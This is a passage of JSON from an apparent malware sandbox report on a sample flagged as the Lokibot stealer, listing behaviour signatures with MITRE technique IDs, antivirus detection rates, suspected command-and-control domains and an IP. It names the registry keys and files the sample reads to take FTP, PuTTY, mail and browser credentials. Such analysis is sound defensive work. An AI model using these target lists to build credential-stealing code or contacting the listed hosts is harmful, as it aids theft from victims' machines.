Retrieval","name":"Found string related to Windows Vault/Credentials location","description":"$34","origin":"File/Memory","mitre_attack_id":"T1555.004","relevance":3,"id":"string-197","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found strings related to file managers","description":"$35","origin":"File/Memory","mitre_attack_id":"T1555","relevance":3,"id":"string-136","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports GetCommandLine API","description":"Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: sihost]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"sihost.exe\" called an API \"AdjustTokenPrivileges\"on file: C:\\Windows\\System32\\WSHTCPIP.DLL\" (UID: 00000000-00003192)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \"$\\Device\\HarddiskVolume2\\sihost.exe\" (Indicator: \"\\Device\\\"; File: \"00000000-00003192.00000002.71621.00246000.00000040.mdmp\")\n Found string \"\\Device\\HarddiskVolume2\\sihost.exe\" (Indicator: \"\\Device\\\"; Source: \"00000000-00003192.00000000.67782.00246000.00000040.mdmp, 00000000-00003192.00000002.71621.00246000.00000040.mdmp, 00000000-00003192.00000003.72568.00246000.00000040.mdmp\")\n Found string \"\\Device\\HarddiskVolume2\\Users\\HAPUBWS\\AppData\\Roaming\\B52C16\\66E7F2.exe\" (Indicator: \"\\Device\\\"; Source: \"00000000-00003192.00000003.72568.00246000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; File: \"sihost\")\n Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; File: \"sihost\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"SeDebugPrivilege\" (Indicator: \"SeDebugPrivilege\"; File: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp\")\n Found reference to API \"SeDebugPrivilege\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"Shutdown\" (Indicator: \"shutdown\") in Source: 00000000-00003192.00000000.67782.00246000.00000040.mdmp\n 00000000-00003192.00000002.71621.00246000.00000040.mdmp\n 00000000-00003192.00000003.72568.00246000.00000040.mdmp","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; File: \"sihost\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"sihost\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"sihost\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"sihost\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"sihost.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"sihost.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$36","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to reboot/shutdown the operating system (API string)","description":"Found reference to API \"SetSystemPowerState\" (Indicator: \"SetSystemPowerState\"; File: \"sihost\")","origin":"File/Memory","mitre_attack_id":"T1529","relevance":3,"id":"string-189","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"OpenMutexW\" (Indicator: \"OpenMutex\"; File: \"sihost\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"7180e4f73145f9e6047b9cdb5ff25144_733c94c5-cebb-4f98-a75f-22a797d1d50b\" - Location: [%APPDATA%\\Microsoft\\Crypto\\RSA\\S-1-5-21-2092356043-4041700817-663127204-1001\\7180e4f73145f9e6047b9cdb5ff25144_733c94c5-cebb-4f98-a75f-22a797d1d50b]- [targetUID: 00000000-00003192]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"sihost\" was detected as \"VC8 -> Microsoft Corporation\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify thread functionality - possible hijack (API string)","description":"Found reference to API \"ZwResumeThread\" (Indicator: \"ResumeThread\"; File: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp\")\n Found reference to API \"ZwResumeThread\" (Indicator: \"ResumeThread\"; Source: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":1,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries kernel debugger information","description":"\"sihost.exe\" at 00000000-00003192-00000105-10036313405387534","origin":"API Call","mitre_attack_id":"T1622","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Possibly checks for known debuggers/analysis tools","description":"Found string \":\\Windows\\system32\\dbghelp.dll\" (Indicator: \"dbghelp.dll\"; Source: \"00000000-00003192.00000000.67782.00259000.00000004.mdmp\")\n Found string \"dbghelp.dll\" (Indicator: \"dbghelp.dll\"; Source: \"00000000-00003192.00000000.67782.00259000.00000004.mdmp, 00000000-00003192.00000001.69702.00259000.00000004.mdmp, 00000000-00003192.00000002.71621.00259000.00000004.mdmp, 00000000-00003192.00000003.72568.00259000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":2,"id":"string-5","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Tries to detect debugger using ProcessDebugPort","description":"\"sihost.exe queries ProcessDebugPort (UID: 3192)","origin":"API Call","mitre_attack_id":"T1622","relevance":5,"id":"api-238","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"}]},{"level":"suspicious","category":"Environment Awareness","name":"Calls an API typically used to query local/system time as file time","description":"\"sihost.exe\" called \"FileTimeToSystemTime\" (UID: 00000000-00003192)","origin":"API Call","mitre_attack_id":"T1070.006","relevance":3,"id":"api-223","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure","description":"GetStartupInfoW@KERNEL32.dll at 31606-1-004058B3","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1543","relevance":5,"id":"stream-133","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"suspicious","category":"Environment Awareness","name":"Tries to steal Pidgin account information (file access)","description":"\"sihost.exe\" trying to open a file \"\\Device\\HarddiskVolume2\\Users\\%OSUSER%\\AppData\\Roaming\\.PURPLE\\ACCOUNTS.XML\"\n \"sihost.exe\" trying to open a file \"%APPDATA%\\.PURPLE\\ACCOUNTS.XML\"","origin":"API Call","mitre_attack_id":"T1005","relevance":5,"id":"api-116","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"suspicious","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET DNS Query for .su TLD (Soviet Union) Often Malware Related\" (SID: 2014169, Rev: 4, Severity: 2) categorized as \"Potentially Bad Traffic\"\n Detected alert \"ET POLICY HTTP Request to .su TLD (Soviet Union) Often Malware Related\" (SID: 2014170, Rev: 6, Severity: 2) categorized as \"Potentially Bad Traffic\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-1","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least three reputation engines","description":"14/90 reputation engines marked \"http://ckav.ru\" as malicious (15% detection rate)\n 5/90 reputation engines marked \"http://www.ibsensoftware.com\" as malicious (5% detection rate)\n 5/90 reputation engines marked \"http://www.ibsensoftware.com/\" as malicious (5% detection rate)\n 12/90 reputation engines marked \"http://fuckav.ru\" as malicious (13% detection rate)\n 17/90 reputation engines marked \"http://sempersim.su\" as malicious (18% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"48/71 Antivirus vendors marked sample as malicious (67% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"suspicious","category":"General","name":"POSTs data to a webserver","description":"$37","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"sihost.exe\" reads file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 104.237.252.65 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"suspicious","category":"Network Related","name":"Uses a browser-related user-agent without launching browser","description":"Found user-agent(s): Mozilla/4.08 (Charon; Inferno)","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"sihost.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-2092356043-4041700817-663127204-1001\\7180e4f73145f9e6047b9cdb5ff25144_733c94c5-cebb-4f98-a75f-22a797d1d50b\" for deletion\n \"sihost.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\B52C16\\66E7F2.lck\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"sihost.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-2092356043-4041700817-663127204-1001\\7180e4f73145f9e6047b9cdb5ff25144_733c94c5-cebb-4f98-a75f-22a797d1d50b\" with delete access\n \"sihost.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\B52C16\\66E7F2.lck\" with delete access\n \"sihost.exe\" opened \"C:\\sihost.exe\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"suspicious","category":"System Security","name":"Adjusts debug privileges","description":"\"sihost.exe\" adjusted SE_DEBUG_PRIVILEGE on file \"C:\\Windows\\System32\\WSHTCPIP.DLL\"","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-28","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"GetDriveTypeA\n GetFileAttributesW\n FindResourceExA\n WriteFile\n GetModuleFileNameW\n CopyFileA\n UnhandledExceptionFilter\n TerminateProcess\n GetModuleHandleExW\n LoadLibraryW\n GetTickCount\n VirtualProtect\n LoadLibraryA\n DeleteFileA\n GetStartupInfoW\n GetProcAddress\n FindFirstFileA\n GetTempFileNameA\n GetComputerNameA\n FindNextFileA\n CreateFileW\n IsDebuggerPresent\n GetCommandLineW\n GetCommandLineA\n GetModuleHandleA\n GetModuleHandleW\n FindResourceW\n Sleep","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"$38","origin":"File/Memory","mitre_attack_id":"T1106","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"PE file contains unusual section name","description":"\"sihost\" has a section named \".xusiwon\"\n \"sihost\" has a section named \".risenup\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-60","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Reads Antivirus engine related registry keys","description":"\"sihost.exe\" (Path: \"HKLM\\SOFTWARE\\COMODOGROUP\\ICEDRAGON\\SETUP\")","origin":"Registry Access","mitre_attack_id":"T1518.001","relevance":8,"id":"registry-32","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"48/71 Antivirus vendors marked sample as malicious (67% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match - Lokibot","description":"YARA signature Malware.Lokibot matched on process \"00000000-00003192\"","origin":"YARA Signature","relevance":10,"id":"yara-10","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Found FTP credentials location strings","description":"$39","origin":"File/Memory","mitre_attack_id":"T1552.001","relevance":6,"id":"string-11","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Reads FTP client related registry keys","description":"\"sihost.exe\" (Path: \"HKCU\\SOFTWARE\\LINASFTP\\SITE MANAGER\")\n \"sihost.exe\" (Path: \"HKCU\\SOFTWARE\\FLASHPEAK\\BLAZEFTP\\SETTINGS\")\n \"sihost.exe\" (Path: \"HKCU\\SOFTWARE\\GHISLER\\TOTAL COMMANDER\")\n \"sihost.exe\" (Path: \"HKCU\\SOFTWARE\\FAR\\PLUGINS\\FTP\\HOSTS\")\n \"sihost.exe\" (Path: \"HKCU\\SOFTWARE\\FAR2\\PLUGINS\\FTP\\HOSTS\")\n \"sihost.exe\" (Path: \"HKLM\\SOFTWARE\\NCH SOFTWARE\\CLASSICFTP\\FTPACCOUNTS\")\n \"sihost.exe\" (Path: \"HKCU\\SOFTWARE\\NCH SOFTWARE\\CLASSICFTP\\FTPACCOUNTS\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-31","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal FTP credentials from registry","description":"\"sihost.exe opens key \" (Path: \"HKCU\\SOFTWARE\\FLASHPEAK\\BLAZEFTP\\SETTINGS\")\n \"sihost.exe opens key \" (Path: \"HKCU\\SOFTWARE\\FAR\\PLUGINS\\FTP\\HOSTS\")\n \"sihost.exe opens key \" (Path: \"HKCU\\SOFTWARE\\FAR2\\PLUGINS\\FTP\\HOSTS\")\n \"sihost.exe opens key \" (Path: \"HKLM\\SOFTWARE\\NCH SOFTWARE\\CLASSICFTP\\FTPACCOUNTS\")\n \"sihost.exe opens key \" (Path: \"HKCU\\SOFTWARE\\NCH SOFTWARE\\CLASSICFTP\\FTPACCOUNTS\")","origin":"Registry Access","mitre_attack_id":"T1005","relevance":5,"id":"registry-100","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal Mail credentials from registry","description":"$3a","origin":"Registry Access","mitre_attack_id":"T1114","relevance":3,"id":"registry-37","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal Putty/Winscp sessions from registry","description":"\"sihost.exe opens key \" (Path: \"HKCU\\SOFTWARE\\9BIS.COM\\KITTY\\SESSIONS\")\n \"sihost.exe opens key \" (Path: \"HKCU\\SOFTWARE\\SIMONTATHAM\\PUTTY\\SESSIONS\")\n \"sihost.exe opens key \" (Path: \"HKLM\\SOFTWARE\\SIMONTATHAM\\PUTTY\\SESSIONS\")\n \"sihost.exe opens key \" (Path: \"HKLM\\SOFTWARE\\9BIS.COM\\KITTY\\SESSIONS\")","origin":"Registry Access","mitre_attack_id":"T1552.002","relevance":10,"id":"registry-74","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"$3b","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; File: \"9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00004628.00000000.199661.02F60000.00000004.mdmp, 00000000-00004628.00000001.201584.02F60000.00000004.mdmp, 00000000-00004628.00000002.203501.02F60000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"\" (Indicator: \"enumchildwindows\"; Source: \"00000000-00004628.00000000.199661.02F60000.00000004.mdmp, 00000000-00004628.00000001.201584.02F60000.00000004.mdmp, 00000000-00004628.00000002.203501.02F60000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate volumes (API string)","description":"Found reference to API \"FindFirstVolumeW\" (Indicator: \"FindFirstVolume\"; File: \"9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe\")\n Found reference to API \"GetVolumePathNameA\" (Indicator: \"GetVolumePathName\"; File: \"9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe\")\n Found reference to API \"FindNextVolumeMountPointA\" (Indicator: \"FindNextVolume\"; File: \"9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe\")\n Found reference to API \"FindNextVolumeMountPointA\" (Indicator: \"FindNextVolumeMountPoint\"; File: \"9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe\")","origin":"File/Memory","mitre_attack_id":"T1006","relevance":1,"id":"string-194","sources":[{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$3c","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$3d","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$3e","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module 